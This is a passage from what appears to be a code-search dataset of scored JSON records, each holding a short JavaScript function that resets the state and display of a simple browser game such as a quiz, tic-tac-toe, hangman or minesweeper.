"bef97db56e39b7b164b88cd5e919187f", "score": "0.76613384", "text": "function restartGameButton() {\n\t\tsetShowScore(false);\n\t\tsetScore(0);\n\t\tsetCurrentQuestion(0);\n\t}", "title": "" }, { "docid": "1601a32008e2b0505c3c6e1119413984", "score": "0.7660915", "text": "function resetGame() {\n setColors(numSqrs);\n resetGoal();\n buttonColor = \"steelblue\";\n h1.style.backgroundColor = \"steelblue\";\n resetButton.textContent = \"New Colors\";\n feedback.textContent = \"\"; \n}", "title": "" }, { "docid": "7e71f02c7e6ecb573c1799519f5a696d", "score": "0.76557034", "text": "function resetGame() {\n\t\t\t\tgenerateObs();\n\t\t\t\tx = (WIDTH/2)-36;\n\t\t\t\ty = (550)-36;\n\t\t\t\tvelX = 0;\n\t\t\t\tvelY = 0;\n\t\t\t\ttime = 0;\n\t\t\t\tscore = 0;\n\t\t\t\tswitches = 0;\n\t\t\t\tcubecolourint = 0;\n\t\t\t\tflag = true;\n\t\t\t\tlost = false;\n\n\t\t\t\tdocument.getElementById(\"score\").innerHTML = \"Switches: 0\";\n\t\t\t}", "title": "" }, { "docid": "667496c8be7be3d0a44a7263406afd34", "score": "0.7650172", "text": "function resetGame() {\n allPlayers[0].turnScore = 0;\n allPlayers[1].turnScore = 0;\n allPlayers[0].totalScore = 0;\n allPlayers[1].totalScore = 0;\n $(\"body\").removeClass(\"flashing\");\n $(\"#message\").hide();\n displayScore();\n $(\"#rolled-number\").text(\"0\");\n}", "title": "" }, { "docid": "578310fd163325aba4c26c6f0a08fe7e", "score": "0.76441383", "text": "function resetGame() {\r\n state.scores = [0, 0];\r\n winner = null;\r\n playerScoreText.textContent = 0;\r\n compScoreText.textContent = 0;\r\n winnerInfoDiv.textContent = \"\";\r\n const prevEl = document.querySelector(\".computer-choice .far\");\r\n if (prevEl) {\r\n prevEl.parentElement.removeChild(prevEl);\r\n }\r\n}", "title": "" }, { "docid": "66427844e89c69c8448dea97c9254ca0", "score": "0.7625032", "text": "function reset(){\n\tscore = 0;\n\t$(\"#score\").html(\"<h1>\" + score);\n\tstartGame();\n}", "title": "" }, { "docid": "7106223ab4238dac90b1909581461ff6", "score": "0.76197565", "text": "function resetGame()\n\t{\n\t\tresetBoard(gameBoard);\n\t\tstate = \"begin\";\n\t\tturnManager(false);\n\t}", "title": "" }, { "docid": "dade4cc84a7daea07e7117763e8761c9", "score": "0.76192296", "text": "function resetGame() {\n resetBoard();\n highScoreAdded = false;\n startGame = false;\n clearInterval(gameplayLoopID);\n nextSymbols = [];\n savedSymbol = [];\n points = 0;\n currentLevel = 1;\n $(\"#score\").text(\"Score: \" + points);\n $(\"#gameOverText\").css(\"display\", \"none\");\n x = 4;\n y = 0;\n gameBoardContext.clearRect(0, 0, gameBoardCanvas.width, gameBoardCanvas.height);\n pieceOneContext.clearRect(0, 0, pieceOneCanvas.width, pieceOneCanvas.height);\n pieceTwoContext.clearRect(0, 0, pieceTwoCanvas.width, pieceTwoCanvas.height);\n savedSymbolContext.clearRect(0, 0, savedSymbolCanvas.width, savedSymbolCanvas.height);\n}", "title": "" }, { "docid": "154ff69bf24e36cde187dc53a49128de", "score": "0.7609279", "text": "function resetGame(){\n playerScore = 0;\n computerScore = 0;\n \n}", "title": "" }, { "docid": "7ea71726e6d09a18be71fdd97c1f612a", "score": "0.75984555", "text": "function handleResetClick() {\n stopGame = false;\n cleanGame = false;\n gameStats.score = 0;\n gameStats.dropInterval = 1000;\n canvasWrapper.style.display = 'none';\n arena.forEach(row => row.fill(0));\n playerResetPiece();\n updateScore();\n update();\n}", "title": "" }, { "docid": "39eb2981a0a1ae3abbf24f49fd812553", "score": "0.7568254", "text": "function reset (){\n computerScore = 0;\n playerScore = 0;\n document.querySelector(\"#reset\").style = \"visibility:hidden\";\n document.querySelector(\"#status\").innerHTML = \"Select one;\";\n updateScore();\n}", "title": "" }, { "docid": "a8c2745f92b549d3f2997a4e7a3e5dc9", "score": "0.75597334", "text": "function reset() {\n\trockyChoice = '';\n\troundNum = 0;\n\trockyScore = 0;\n\tapolloScore = 0;\n\troundResultDisplay.textContent = 'CHOOSE YOUR PUNCH';\n\tmatchResultDisplay.textContent = '';\n\trockyScoreDisplay.textContent = rockyScore;\n\tapolloScoreDisplay.textContent = apolloScore;\n\troundNumberDisplay.textContent = roundNum;\n\n// Enabling Player Choices\n\tplayerChoices.forEach((button) => {\n\t\tbutton.disabled = false;\n\t});\n\n\tbody.className = '';\n}", "title": "" }, { "docid": "9f030f95b56459d9814154515b3c59f1", "score": "0.7554865", "text": "function reset() {\n\tmyRound = false;\n\tstartGame();\n}", "title": "" }, { "docid": "95a232d7bdf6af7ab0510a57702fae5d", "score": "0.75408375", "text": "function resetGame(){\n for (let i = 0; i < buttonarray.length; i++){\n buttonarray[i].btn.style.visibility = 'visible';\n }\n score = 0;\n LIVES = 7;\n updateLivesDisplay();\n updateScoreDisplay();\n CURRENT_WORD = getRandomWord(WORD_BANK, DEFINITION_BANK);\n setDisplayWord(CURRENT_WORD);\n displayWord(CURRENT_DISPLAY_WORD);\n let letterbox = document.getElementById(\"letter_box\");\n let scoreboard = document.getElementById(\"score_box\");\n letterbox.style.display = \"block\";\n scoreboard.style.display = \"none\";\n}", "title": "" }, { "docid": "c0c92303f80387690ab59fff893f8ab6", "score": "0.75394255", "text": "function resetGame() {\n console.log(\"----------> Game has been reset <-------------\");\n resetTimer();\n resetGlobals();\n stopGame();\n resetLineNumber();\n reloadCurrentLetter();\n\n // Load words inside container.\n loadWords();\n removeBlurFromButton();\n}", "title": "" }, { "docid": "65555c000c0e65a823bd06a5620f5411", "score": "0.7538458", "text": "function startResetGame() {\n if (playing) { //if we are playing\n location.reload(); //reload the page\n } else { //if we are not playing\n playing = true;\n score = 0; //set score to 0\n scoreValue.innerHTML = score;\n start = 60;\n showElement(\"time-remaining\"); //show countdown box\n hideElement(\"game-over\");\n satrtResetBtn.innerHTML = \"Reset Game\"; //change button to reset\n startCountDown();\n generateQuestionAndAnswers();\n }\n}", "title": "" }, { "docid": "eed5761577bc7cea2b7a41fce90ee583", "score": "0.7538439", "text": "function resetGame () { \n score = 0;\n questionCounter = 0;\n scoreField.innerText = score;\n getAvailableQuestions ();\n newQuestion();\n}", "title": "" }, { "docid": "0ff4be7d1a90d1a2c1ef517e120d18ea", "score": "0.7533978", "text": "function reset (){\n\tplayerOneScore = 0;\n\tplayerTwoScore = 0;\n\ttotalScore = 0;\n\tinput.value = 0;\n\tplayerOne.classList.remove(\"winner\");\n\tplayerTwo.classList.remove(\"winner\");\n\tdocument.querySelector(\"#winner-alert\").textContent = \"\";\n\tinput.removeAttribute(\"disabled\");\n\t// using update to visually update the values on the screen\n\tupdate();\n}", "title": "" }, { "docid": "7510ba2ed71828cb324cdfbc1cf339e8", "score": "0.753378", "text": "function reset() {\n console.log(win + \" \" + winCount);\n\n if (winCount > 5 && win === true ) { \n maxMath += 100;\n minNumber -= 50;\n } else if (win === true && gameCount%2 === 0) {\n maxMath += 20;\n minNumber -= 10;\n };\n if (winCount === 0 ) { \n lastGuessWas.innerText = \"Ready to play??\";\n } else {\n lastGuessWas.innerText = \"You got the number! \";\n }\n\n getRandomNumber(maxMath, minNumber);\n\n inputMax = maxNumber;\n inputMin = minNumber;\n\n maxNumber = maxMath + minNumber;\n userGuess.innerText = \"??\"\n gameHint.innerText = \"Lets Play!!\";\n gameReset.innerText = \"Reset\";\n userInput.value = '';\n gameCount += 1;\n win = false;\n // button states\n inputSubmit.disabled = true;\n inputClear.disabled = true;\n gameReset.disabled = true;\n goTimer.disabled = false; \n\n if (gameCount%2 ===1 ) {\n playerHighlight('0px 0px 9px #EB008B', 'none')\n } else {\n playerHighlight('none', '0px 0px 9px #EB008B')\n }\n\n goTimer.focus();\n\n console.log('reset');\n console.log(randomNumber);\n console.log('max number ' + maxNumber)\n console.log('min number ' + minNumber)\n}", "title": "" }, { "docid": "4db4f70ad22d910dac36c726d38d79c3", "score": "0.75303745", "text": "function resetGame() {\n\n\t\tnewGame();\n\n\t\tcontroller.inputOne = \"\";\n\t\tcontroller.inputTwo = \"\";\n\t\tcontroller.game.$save();\n\t}", "title": "" }, { "docid": "a269769657b3eb80300fa4ca607212f8", "score": "0.75262463", "text": "function resetButton(){\r\n \r\n isGameOver(1);// \"1\" flag used to return false from function and continue the game.\r\n\r\n //reset values to start\r\n headX=10;//position on map;//position on map\r\n headY=10;//position on map\r\n tailLength=2;\r\n appleX=5;\r\n appleY=5;\r\n speed=6;\r\n xVelocity=0;\r\n yVelocity=0;\r\n score=0;\r\n drawGame();\r\n \r\n}", "title": "" }, { "docid": "25a4a559a80af8160aead50457f3f12c", "score": "0.75154966", "text": "function resetGame()\n {\n welcomeImage.visible = false;\n leftPlayer.score = 0;\n rightPlayer.score = 0;\n isGameOver = false;\n leftPlayer.paddle.visible = true;\n rightPlayer.paddle.visible = true;\n scoreTextObject.visible = true;\n winText.visible = false;\n rightPlayer.targetY = null;\n leftPlayer.targetY = null;\n rightPlayer.paddle.y = 240;\n leftPlayer.paddle.y = 240;\n }", "title": "" }, { "docid": "5e2e33650e04238d4d3c8c96ea166404", "score": "0.75154835", "text": "function resetGame() {\n var difficuly = parseInt(difficultSelector.value);\n game.reset(difficuly);\n resizeCanvas();\n}", "title": "" }, { "docid": "64cbc6696f1ff6d2538867e251a4a220", "score": "0.7510474", "text": "function resetGame(){\n round=0;\n count=0; \n correct=0;\n score=0;\n completeArray();\n shuffle();\n showGame();\n}", "title": "" }, { "docid": "5c80e6b75453650f12c55bac61d3dbc9", "score": "0.75058883", "text": "function resetGame(){\r\n counter = 0;\r\n player2_Opponent = false;\r\n computer_Opponent = false;\r\n player1Score = 0;\r\n player2Score = 0;\r\n computerScore = 0;\r\n player1Choice = \"\";\r\n player2Choice = \"\";\r\n computerChoice = \"\";\r\n player1Turn = false;\r\n player2Turn = false;\r\n computerTurn = false;\r\n player1Selections = [];\r\n player2Selections = [];\r\n computerSelections = [];\r\n gameBoardBoxes = [];\r\n gameWon = false;\r\n $(\".player-turn\").text(\"Turn:\");\r\n $('.score-1').hide();\r\n $('.score-2').hide();\r\n $(\".hard-reset\").hide();\r\n $(\".game-choice\").show();\r\n $(\".boxes\").hide();\r\n $(\".win-message\").hide();\r\n $(\".lose-message\").hide();\r\n $(\".draw-message\").hide();\r\n $(\".playAgain-message\").hide();\r\n $(\".message-container\").hide();\r\n\r\n for(var i = 1; i <= 9; i++)\r\n {\r\n $(\".box\"+i).text(\"\");\r\n }\r\n }", "title": "" }, { "docid": "ff1989970cd6ff853ea042feb658b9a5", "score": "0.75058234", "text": "function reset() {\n gameOver = false\n scores = [0, 0]\n drawBoard()\n\n document.getElementById(\"firstName\").value = \"\"\n document.getElementById(\"secondName\").value = \"\"\n document.getElementById('head').innerHTML = \"Tic Tac Toe\"\n players[0] =\"\"\n players[1] =\"\"\n flag = false\n}", "title": "" }, { "docid": "5df35082228663a28be881913ab8690c", "score": "0.7494887", "text": "function resetGame() {\n time = 0\n wins = 0\n losses = 0\n questionNumber = 1\n}", "title": "" }, { "docid": "c27f89cd815f3b5f21270f02403dd4f9", "score": "0.7487604", "text": "function resetGame(){\n\tsetNumber();\n\t// guessHotOrCold = \"\";\n\t// guessHigherOrLower = \"\";\n\t// guessDistance = undefined;\n\t// guessRelative = undefined;\n\tfeedbackText = \"\";\n\tguessesRemaining = 5;\n\tguessHistory = [];\n\t$('#guess-input').val(\"\");\t\n}", "title": "" }, { "docid": "42b9c80bd6109e911a8eda4e094e8baa", "score": "0.7480958", "text": "resetGame() {\n if (!this.game.inProgress) {\n player1SelectionElement.className = player2SelectionElement.className = '';\n winnerElement.innerText = '';\n this.startGame();\n }\n }", "title": "" }, { "docid": "9853de23c0fce09b25636a438d9e7a21", "score": "0.7479561", "text": "function resetGame() {\n $('.cell').empty();\n $('h1').text(\" \\\\\\\\ Tic Tac Tizzle! >\");\n $('h1').removeClass(\"blink\");\n $('#p1score').text(\"p1 [X] Score: 0\");\n $('#p2score').text(\"p2 [0] Score: 0\");\n p1 = 0;\n p2 = 0;\n p1score = 0;\n p2score = 0;\n p1wins = 0;\n p2wins = 0;\n roundCounter = 0;\n winner = 0;\n nextPlayer = \"p1\";\n if (playMode === \"1p\") {\n play1PGame();\n } else{\n play2PGame();\n }\n }", "title": "" }, { "docid": "5e77de314ef12c24835c35831f0723d7", "score": "0.7473166", "text": "function reset()\n{\n\tgame.initialise();\n\tgame.preset(document.getElementById(\"presets\").selectedIndex);\n\tupdate_html();\n\t\n}", "title": "" }, { "docid": "2bfd7551eed78b1dd191ddf423cd7420", "score": "0.7471293", "text": "function reset() {\n if (gameOn == 1) {\n array = [];\n userArray = [];\n document.getElementById(\"currentscore\").innerHTML = 0;\n gameOn = 0;\n document.getElementById(\"gameStatus\").style.visibility = \"hidden\";\n document.getElementById(\"gameStatusLarge\").style.visibility = \"hidden\";\n document.getElementById(\"startButton\").style.visibility = \"visible\";\n document.getElementById(\"startButton\").innerHTML = \"Play Simon!\";\n document.getElementById(\"largePlayButton\").style.visibility = \"visible\";\n document.getElementById(\"gameStatusLargeCircle\").style.visibility = \"hidden\";\n document.getElementById(\"mobileGameOver\").style.visibility = \"hidden\";\n document.getElementById(\"resetButtonLarge\").style.color = \"transparent\";\n document.getElementsByClassName(\"fas fa-sync-alt\")[0].style.color =\n `rgb(${128}, ${128}, ${128})`;\n colourDefault();\n }\n}", "title": "" }, { "docid": "eedd667d82543ecafd794d854f86adbd", "score": "0.746712", "text": "function resetGame() {\n\t\n\t\n\t//reset selector turn - 1 is x, 2 is o\n\tif (goesFirst === 1) {\n\t\tturn = 1;\n\t} else {\n\t\tturn = 2;\n\t}\n\t\n\t\n\t//reset message state - 0 is no message. 1 is x wins. 2 is o wins.\n\tmsgState = 0;\n\t\n\t//reset grid squares\n\tfor (var i = 0; i < squares.length; i++) {\n\t\tsquares[i].state = 0;\n\t}\n\t\n\t//reset finished\n\tfinished = false;\n\t\n\t//reset grid count\n\tgridCount = 0;\n\t\n\t//change states of everything\n\tchangeStates();\n\t\n\t//Set message text and class to default\n\tmessage.innerText = \"Let's play!\";\n\tmessage.className = \"def\";\n}", "title": "" }, { "docid": "aaf33e63a3bcdf0b0b9a8b329ed6001c", "score": "0.7465322", "text": "function game_reset(){\n\t$(\".front-face\").show();\n\t$(\".back-face\").show();\n\tscorecount = 0;\n\t$(\".score-board\").text(scorecount);\n\taccuracy = 0;\n\t$(\".accuracy\").text(accuracy);\n\t$(\".win-message\").css('display', 'none');\n}", "title": "" }, { "docid": "4b604f3540794e5f7604f752e762036f", "score": "0.7461249", "text": "function resetGame() {\n // reset the board itself\n $boxes.text(\"\");\n $boxes.removeClass(\"X\");\n $boxes.removeClass(\"O\");\n $('h1').html(\"Classic Tic Tac Toe\");\n\n // reset the variables that track game progress\n turn = \"X\";\n }", "title": "" }, { "docid": "a459807a924b46f022cdab02ec5d999b", "score": "0.74513316", "text": "function resetgame() {\n\n\t//Setting \"total\" or Total Score Calculation to 0\n\t\ttotal = 0;\n\t\t$('#currentscore').text(total);\n\n\t\n\n\n\t//Defining the function of matching total score with the number to win the game-------------------------------------------------\n\tfunction counterequalsguess(min,max){\n\t\treturn Math.floor(Math.random()*(max-min+1)+min);\n\t\t\t}\n\n\t\tvar numberToGuess = counterequalsguess(19,120);\n\n\t\t$('.totaltomatch').text(numberToGuess);\n\n\n\t\t$('.imagecrystal').on('click', function(){\n\t\t total = total + parseInt($(this).data('num'));\n\t\t \n\t\t $('#currentscore').text(total);\n\n\t//Defining the conditions of winning the game!\n\n\t\t if (total == numberToGuess){\n\t\t $('#progress').text('YOU WIN!');\n\t\t wins ++;\n\n //Logging Wins in the console\n\n\t\t $('#winnings').text(wins);\n\t\t console.log(wins)\n\n\t// Reseting the game and random crystal values when the game is won.\n\t\t $('#buttonscrystals').empty();\n\t\t crystalreset();\n\t\t resetgame();\n\n\t//Defining the conditions of losing the game!\n\t\n\t\t } else if ( total > numberToGuess){\n\t\t $('#progress').text('YOU LOSE!')\n\t\t losses ++;\n\t\t $('#losses').text(losses);\n\t\t console.log(losses)\n\t\t $('#buttonscrystals').empty();\n\n\t// Reseting the game and random crystal values when the game is lost.\n\t\t crystalreset();\n\t\t resetgame();\n\t\t }\n\t\t});\n\t}", "title": "" }, { "docid": "c58fe43e137df6a169a099cde7b70e5c", "score": "0.7445495", "text": "function resetGame() {\n\t/** Resets the scoreboard */\n\tscoreBoard.style.display = \"block\"\n\tlet scoreboardTable = document.createElement(\"table\")\n\tscoreBoard.append(scoreboardTable)\n\n\t/** Resets the menu button */\n\tlet newBack2menuBtn = document.createElement(\"button\")\n\tnewBack2menuBtn.id = \"back2menuBtn\"\n\tnewBack2menuBtn.innerText = \"Main Menu\"\n\twaitingBox.append(newBack2menuBtn)\n\n\t/** Resets the waiting text */\n\tlet newWaitingText = document.createElement(\"h1\")\n\tnewWaitingText.id = \"waiting-text\"\n\twaitingBox.append(waitingText)\n\n\tgameMap.style.display = \"grid\"\n}", "title": "" }, { "docid": "be4571b993a89092e640ccb4bb61c8f5", "score": "0.744456", "text": "function gameReset() { \n initGame();\n resetStats(); \n openCards = []; //Put this here in case user selects one card, then decides to remake game. It will clear the array so we are not checking for a match on reset from the previous click.\n}", "title": "" }, { "docid": "888ced88a3b825e467e8b8c71f131461", "score": "0.74410075", "text": "function resetGame() {\n displayWin.style.visibility = 'hidden';\n displayLose.style.visibility = 'hidden';\n reset.style.display = 'none';\n guessInput.value = '';\n guessesLeft = 4;\n guessCountSpan.textContent = guessesLeft;\n disableUserInput(false);\n}", "title": "" }, { "docid": "98e4e59a0b4dabd0bb2149e91278d890", "score": "0.74390525", "text": "function resetGame() {\n computerScore = 0;\n userScore = 0;\n computerScore_span.innerHTML = computerScore;\n userScore_span.innerHTML = userScore;\n result_h3.innerHTML = \"Good luck!\";\n}", "title": "" }, { "docid": "8c6683da0392d3e0a7c6a2fc4d97eaab", "score": "0.74366874", "text": "function resetGame () {\n\n}", "title": "" }, { "docid": "43397c86b6d22cbc27435bd5acd6f4c8", "score": "0.7431755", "text": "function resetGame() {\n\n}", "title": "" }, { "docid": "abb37e26017186cca958bc7a7283ed83", "score": "0.7429454", "text": "function resetGame() {\n stopGame();\n startGame();\n }", "title": "" }, { "docid": "769641ab210acb5ffaf2b6a03c57011b", "score": "0.7429141", "text": "resetGame(){\r\n //stops song from playing\r\n this.celebrateSound.pause();\r\n // resets the score fo the game\r\n this.scoreTotal = 0;\r\n //displays original 0000 text\r\n this.scoreCounter.innerHTML='0000';\r\n // resetting the 3 elements back to orginal stylesheets stylings\r\n this.dancingMan.style.display ='';\r\n this.resetButton.style.display ='';\r\n this.coronaVirus.style.display ='';\r\n // resetting the lungs through a foreach loop back to orginal stylesheets stylings\r\n this.lungHits.forEach(l=>{\r\n l.innerHTML ='';\r\n })\r\n\r\n //resetting the shots and game count back to original values\r\n this.confirmedShots =-1;\r\n this.gameCount=0;\r\n\r\n\r\n }", "title": "" }, { "docid": "5ffb9e64663bba575db74da25e42a870", "score": "0.7421281", "text": "function resetGame() { // resetGame function start\n\n// Pause win music\n winMusic.pause();\n\n// Reset lives to 10\n livesRemaining = lives;\n\n// Round the random number down to the nearest integer\n songIndex = Math.floor(Math.random() * (wordBank.length));\n\n// Clear out arrays\n lettersGuessed = [];\n randomSong = [];\n\n// Clear combo counter\n document.getElementById(\"combo\").src = \"\";\n\n// Reset word bank display by changing letters into underscores\n for (var i = 0; i < wordBank[songIndex].length; i++) {\n randomSong.push(\"_\");\n } \n\n// Hide end game images and text\n document.getElementById(\"anyKey\").style.cssText= \"display: none\";\n document.getElementById(\"gameover\").style.cssText = \"display: none\";\n document.getElementById(\"victory\").style.cssText = \"display: none\";\n\n// clear scoreboard except wins if playing again\n updateScore();\n\n console.log(\"Game has been reset\");\n\n }", "title": "" }, { "docid": "37e8e9dcd059c1f327ecc418826a7be9", "score": "0.741446", "text": "function resetGame()\r\n{\r\n // Ends game (technically)\r\n endGame();\r\n\r\n // resets game from beginning\r\n startmathGame();\r\n}", "title": "" }, { "docid": "ca94e1346709b62ef298164af0366adf", "score": "0.7407074", "text": "function gameReset() {\n\t\t$(\"#bottomText\").remove();\n questionCounter = 0;\n correctGuesses = 0;\n incorrectGuesses = 0;\n }", "title": "" }, { "docid": "9d901140a0a73cef9b06485e90faf4ff", "score": "0.7406441", "text": "function reset() {\n score = 0\n timeLeft = 75\n}", "title": "" }, { "docid": "2af9720192ed0572111840412bc98a1b", "score": "0.7398751", "text": "function resetGame() {\n couragePlayer.reset();\n playerSamSpy.reset();\n baddieFlowerCharacter.reset();\n baddieGangsterCharacter.reset();\n baddieExplorerCharacter.reset();\n baddieDollCharacter.reset();\n baddieClownCharacter.reset();\n baddieFashionistaCharacter.reset();\n baddieRichCharacter.reset();\n baddiePrinceCharacter.reset();\n //has the click sounds\n clickButton.play();\n //loops the music once again\n mainMusic.loop();\n //stops the lose music\n loseMusic.stop();\n showGameOver = false;\n showGameWin = false;\n}", "title": "" }, { "docid": "433ae8b67a5a41b92b2083c8e237276d", "score": "0.7389832", "text": "function resetGame(elBtn) {\n clearInterval(gTimeInterval)\n elBtn.innerText = NORAML_EMOJI\n var elGameTime = document.querySelector('.game-time span')\n elGameTime.innerText = '0.000'\n var elMarkedCells = document.querySelector('.marked-cells')\n elMarkedCells.innerText = 'Flag counter: 0'\n var elClicksSpan = document.querySelector('.reset-container h3 span')\n elClicksSpan.innerText = '3'\n var elManuallyBtn = document.querySelector('.manuallymode-btn')\n elManuallyBtn.innerText = 'Manually create mines'\n gLevel = {\n Size: 4,\n Mines: 2\n }\n gGame = {\n isOn: true,\n isFirstClick: false,\n isStartTime: false,\n isManually: false,\n life: 2,\n safeClickCount: 3,\n shownCount: 0,\n markedCount: 0,\n foundMinesCount: 0,\n secsPassed: 0\n }\n gMinesPos = []\n gBoard = buildBoard()\n renderBoard(gBoard)\n updateLife(0)\n renderScore()\n}", "title": "" }, { "docid": "38d82e689e85f3b4cc6e289c5cadaa5d", "score": "0.7383696", "text": "function resetGame() {\n clearInterval(timer);\n score = 0;\n showQuestion = 0;\n timeLeft = 0;\n timer = null;\n return gohome()\n}", "title": "" }, { "docid": "696699bf97a1166cdf261b0f0055bdbb", "score": "0.73736066", "text": "function resetGame() {\n this.app.team = \"red\";\n this.app.textforteam = \"Red goes first\";\n this.app.isRedText = true;\n this.app.isBlueText = false;\n this.app.squares = matrix(this.app.row, this.app.column, \"white\");\n}", "title": "" }, { "docid": "8a732a3e3ee90f83e49ae0ba90f66f05", "score": "0.73723155", "text": "function resetScreen() {\n $(\".mancalaBoard\").removeClass(\"brown blackBoardBorder\").addClass(\"whiteBoardBorder\");\n $(\".pocket\").removeClass(\"blackBorder darkBrown\");\n $(\".mancala\").removeClass(\"blackBorder darkBrown\").addClass(\"whiteBorder\").empty();\n $(\".joinGameMenu\").addClass(\"hidden\");\n $(\".startGame, .joinGame\").removeClass(\"hidden\");\n $(\".backButton, .nicknameMenu, .inviteCode, .scoreBoard, .gamePlayButtons, .footerButtonsVertical, .turnAlert\").addClass(\"hidden\");\n $(\".opponent, .player\").removeClass(\"pocket blackBorder darkBrown\").addClass(\"whiteBorder\").removeAttr(\"tabindex\");\n $(\".pocketScoreOpponent, .pocketScorePlayer\").html(\"\");\n $(\".piece\").remove();\n $(\".scoreOpponent\").html(\"Player Two (Not joined)\");\n $(\".scorePlayer\").html(\"Player One's Score: 0\");\n $(\".inviteCode, .gamePlayButtons\").addClass(\"moveDown\");\n if (localStorage && localStorage.removeItem) {\n localStorage.removeItem(\"mancalaGameMyPlayerToken\");\n }\n playerCode = undefined;\n player = undefined;\n currentGame = undefined;\n lastTurn = undefined;\n isSecondPlayer = false;\n isInviteCode = false;\n isGameOver = false;\n winnerNickname = undefined;\n}", "title": "" }, { "docid": "e94dd059ec64a47b4514ebb462dc07f4", "score": "0.73675174", "text": "function resetGame() {\n ch_push_reset();\n setState(undefined);\n setGuess(\"\");\n }", "title": "" }, { "docid": "2842dd374b40d876cc1f98388b2265ef", "score": "0.73648494", "text": "function reset() {\n rounds = 0;\n playerScore = 0;\n computerScore = 0;\n}", "title": "" }, { "docid": "3f5cffc3791977157445aa7c5597828e", "score": "0.7360496", "text": "function resetGame() {\n goal.innerHTML = \"\";\n message.innerHTML = \"\";\n stats.style.display = \"none\";\n target.style.display = \"none\";\n question.style.display = \"none\";\n crystalContainer.style.display = \"none\";\n currentGame = true;\n startGame();\n}", "title": "" }, { "docid": "4ac06c626f295a89e9fb4ebaaa3b5c95", "score": "0.7357726", "text": "function resetOnQuit() {\n rounds = 10; // resets the number of rounds left in gameplay to 10\n wordIndex = 0;\n score = 0; // resets the gameplay score to 0, without affecting the high score\n document.getElementById(\"scoreTotal\").textContent = \"00\" // Sets the displayed score to 00 in gameplay\n document.getElementById('guess').value = '' // clears the input box for the guesses\n}", "title": "" }, { "docid": "9276c910dd3402d49ba8b6c4c58a0b38", "score": "0.73559", "text": "function reset() {\n if ( modeButtons[ 0 ].classList.contains( \"selectedButton\" ) ) {\n playGame( 3 );\n } else {\n playGame( 6 );\n }\n}", "title": "" }, { "docid": "7179902627da453a98e9c77efd96aa8b", "score": "0.7354871", "text": "function resetIfEmpty(){\r\n\t\tif(scoreCorrect == null || scoreIncorrect == null){\r\n\t\t\tconsole.log(\"reset\");\r\n\t\t\tretakeLauncher();\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "dc70c08ec76dc0963cc330c00c49d1c6", "score": "0.7353677", "text": "function resetStatus() {\n if (user.reset) {\n questionCount = 0;\n correctAnswers = 0;\n wrongAnswers = 0;\n lastClick;\n user.isPlaying = false;\n user.reset = false;\n user.readyToPlay = false;\n }\n joinBtn.classList.add(\"d-none\");\n createBtn.textContent = \"Create Game\";\n createBtn.disabled = false;\n joinBtn.disabled = true;\n createBtn.classList.remove(\"d-none\");\n createBtn.classList.remove(\"disabledBtn\");\n seconds = 30;\n nPlayers = 1;\n nFinished = 0;\n resultsMultiplayer = [];\n orderedResults = [];\n}", "title": "" }, { "docid": "b8bb20c15374bb929487a346be032cd7", "score": "0.7352183", "text": "function reset() {\n\t\tmessage = \"choose your FIGHTER to start a battle!\";\n\t\tconsole.log(message);\n\t\theroLock = false;\n\t\tfirstSelected = false;\n\t\tsecondSelected = false;\n\t\tmessage = \"\";\n\t\tatkCount = 0;\n\t\tscore = 0;\n\t\tatkrScore ;\n\t\tdfndrScore ; \n\t\tgameOver = false;\n\t\tfightCount = 0;\n\t\ttouchedObj.isTouched = [false , false, false, false];\n\t\ttouchedObj.resetDisplay();\n\n\t}", "title": "" }, { "docid": "7a80d844d3387531d36bfbb6763b28e6", "score": "0.73484766", "text": "function reset() {\n game.guessesLeft = 9;\n getID(\"guessedLetters\").innerHTML = \"You have guessed: \";\n getID(\"guessesLeft\").innerHTML = \"Remaining Guesses: \" + game.guessesLeft;\n gameStart();\n }", "title": "" }, { "docid": "cc103352c1e41fad92a9cfe971eef1cb", "score": "0.73431855", "text": "function reset() {\n game.wins = 0;\n game.loss = 0;\n}", "title": "" }, { "docid": "d15148e6575f63fd605d95018ecbbfce", "score": "0.73426", "text": "function restartGame() {\n $(\"#restart-section, #score-board\").empty();\n $(\".trivia-choice-button\").remove();\n\n initGameRoutine();\n }", "title": "" }, { "docid": "14b4ef37c28fc87a3d462ebed71f85eb", "score": "0.7342119", "text": "function resetButton() {\n \tself.newGameButton();\n \tself.whatever.counter = 1;\n self.whatever.gridList = [\n \t{\n id: \"box0\", \n value: \"\"\n } , {\n id: \"box1\", \n value: \"\"\n } , {\n id: \"box2\", \n value: \"\"\n } , {\n id: \"box3\", \n value: \"\"\n } , {\n id: \"box4\", \n value: \"\"\n } , {\n id: \"box5\", \n value: \"\"\n } , {\n id: \"box6\", \n value: \"\"\n } , {\n id: \"box7\", \n value: \"\"\n } , {\n id: \"box8\", \n value: \"\" \n }\n ];\n self.whatever.winner = \"winner\";\n \tself.whatever.showWinner = false;\n \tself.whatever.playerNameAlert = true;\n \tself.whatever.playerTwoJoinAlert = false;\n \tself.whatever.playerTurn = self.whatever.playerOne + \" 's Turn Now!!\";\n\n // \tself.whatever.playerOneScore = 0;\n // \tself.whatever.playerTwoScore = 0;\n // \tself.whatever.counter = 1;\n // \tself.whatever.showPlayerOneName = true;\n // \tself.whatever.showPlayerTwoName = true;\n \t\t// self.whatever.playerOne = \"Player 1\";\n // \tself.whatever.playerTwo = \"Player 2\";\n // \tself.whatever.playerTurn = \"Register Name and Player 1 Goes First!\";\n \tself.whatsoever.playerOneHere = false;\n \tself.whatsoever.playerTwoHere = false;\n \tself.whatsoever.aiHere = false;\n \tself.whatever.playerOneScore = 0;\n \tself.whatever.playerTwoScore = 0;\n \tself.whatever.counter = 1;\n \tself.whatever.showPlayerOneName = true;\n \tself.whatever.showPlayerTwoName = true;\n \t\tself.whatever.playerOne = \"\";\n \tself.whatever.playerTwo = \"\";\n \tself.playerOneHere = false;\n\t\t\tself.playerTwoHere = false;\n\t\t\tself.aiHere = false;\n \tself.whatever.playerTurn = \"Register Name and Player 1 Goes First!\";\n \t// self.whatever.aiButton = true;\n \tself.whatever.$save;\n \tself.whatsoever.$save;\n\n }", "title": "" }, { "docid": "c67cf50a71236e5a75c540de7220491d", "score": "0.73230517", "text": "function resetCanvas() {\n id(\"countdown\").textContent = \"Game starting in \" + currentTime + \" sec...\";\n id(\"game-result\").classList.add(\"hidden\");\n id(\"start-over\").classList.add(\"hidden\");\n\n let currentResponse = qs(\"input.player\" + getCurrentPlayer());\n let currentAnswerBox = qs(\"#player\" + getCurrentPlayer() + \"-ans p\");\n currentAnswerBox.textContent = \"I will start first!\";\n currentResponse.value = \"\";\n\n let otherResponse = 